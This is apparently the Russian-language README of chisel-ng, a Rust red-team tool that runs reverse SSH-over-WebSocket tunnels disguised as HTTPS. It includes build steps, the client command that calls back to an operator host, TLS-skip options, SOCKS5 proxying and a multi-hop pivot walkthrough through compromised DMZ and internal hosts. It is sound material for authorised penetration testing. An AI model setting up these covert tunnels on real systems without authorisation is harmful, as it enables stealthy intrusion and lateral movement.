
Chisel нового поколения, написанный на Rust. SSH через WSS с некоторой кастомизацией.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
# chisel-ng




Реализация [chisel](https://github.com/jpillora/chisel) на Rust для тестирования на проникновение и операций red team. Устанавливает реверсивные туннели через SSH поверх WebSocket поверх TLS, позволяя операторам перемещаться через скомпрометированные хосты, маскируясь под обычный HTTPS-трафик.
---
## Table of Contents
- [Быстрый старт](#quick-start)
- [Возможности](#features)
- [Архитектура](#architecture)
- [Справочник по использованию](#usage-reference)
- [Сервер (оператор)](#server-operator)
- [Реверсивный клиент (агент)](#reverse-client-agent)
- [Bind-клиент (агент — входящий режим)](#bind-client-agent---inbound-mode)
- [Команды CLI сервера](#server-cli-commands)
- [Многошаговое перемещение](#multi-hop-pivoting)
- [Технические детали](#technical-details)
- [Соображения по OPSEC](#opsec-considerations)
- [Отказ от ответственности](#disclaimer)
---
## Quick Start
### Requirements
- Rust 1.70+ ([rustup.rs](https://rustup.rs/))
### Build
```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
Бинарные файлы выводятся в target/release/: chisel-server, chisel-client, chisel-bind-client
1. Запустите сервер (оператор):
./chisel-server -p 'secret' -v
2. Запустите клиент (цель):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. Создайте туннели:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Получите доступ к внутренним сервисам:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Оператор | | Целевая сеть |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Стек протоколов:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
^
выглядит как HTTPS
Режимы клиентов:
chisel-client) — устанавливает исходящее соединение с серверомchisel-bind-client) — принимает входящие соединения; сервер использует команду connectOPTIONS:
-l, --listen <ADDR> Адрес прослушивания [по умолчанию: 0.0.0.0:8443]
-p, --psk <PSK> Предварительный общий ключ или парольная фраза [env: CHISEL_PSK]
--cert <FILE> TLS-сертификат (PEM)
--key <FILE> Закрытый ключ TLS (PEM)
--generate-psk Сгенерировать случайный PSK и выйти
-v, --verbose Подробный вывод
OPTIONS:
-s, --server <ADDR> Адрес сервера (хост:порт)
-p, --psk <PSK> Предварительный общий ключ или парольная фраза [env: CHISEL_PSK]
-u, --user <LABEL> Метка сессии [по умолчанию: agent]
-k, --insecure Пропустить проверку TLS
--no-reconnect Отключить автоматическое переподключение
-i, --interval <SECS> Интервал переподключения [по умолчанию: 30]
--heartbeat <SECS> Интервал heartbeat [по умолчанию: 30]
-v, --verbose Подробный вывод
Для целей, которые могут принимать входящие соединения, но не могут инициировать исходящие:
OPTIONS:
-l, --listen <ADDR> Адрес прослушивания (например, 0.0.0.0:9000)
-p, --psk <PSK> Предварительный общий ключ или парольная фраза [env: CHISEL_PSK]
-u, --user <LABEL> Метка сессии [по умолчанию: agent]
-k, --insecure Пропустить проверку TLS
--heartbeat <SECS> Интервал heartbeat [по умолчанию: 30]
-v, --verbose Подробный вывод
Главное меню:
sessions Список подключенных сессий
session <id> Выбрать сессию
connect <ip:port> Подключиться к bind-клиенту
disconnect <id> Отключить сессию (переподключится)
kill <id> Завершить процесс клиента
Меню сессии:
tunnel <local>:<target_ip>:<target_port> Создать туннель
tunnel --local <local>:<target>:<port> Создать туннель (только localhost)
tunnel stop <port> Остановить туннель
tunnels Список туннелей
socks5 <port> Запустить SOCKS5-прокси
socks5 stop <port> Остановить SOCKS5-прокси
ping Измерить задержку
ps Список удаленных процессов
netstat Список удаленных соединений
Доступ к изолированным сетям через цепочку существующих сессий.
Сценарий: Хост в DMZ может связаться с оператором. Внутренний хост (10.0.0.50) доступен только из DMZ.
+----------+ +-----------+ +------------+
| Оператор |--SSH---| Сессия 1 |--TCP---| Сессия 2 |
| Сервер | | (DMZ) | | (ВНУТРЕН.) |
+----------+ +-----------+ +------------+
Шаг 1 — Запустите сервер (оператор):
./chisel-server -p 'secret' -v
Шаг 2 — Запустите реверсивный клиент (хост DMZ):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
Шаг 3 — Запустите bind-клиент (внутренний хост 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
Шаг 4 — Создайте туннель и подключитесь (CLI сервера):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Туннель запущен на 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Сессия 2 зарегистрирована
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
При создании туннеля (tunnel 8080:192.168.1.100:80):
Динамические адресататы через рукопожатие RFC 1928. Возвращает правильные коды ошибок для точных результатов сканирования портов.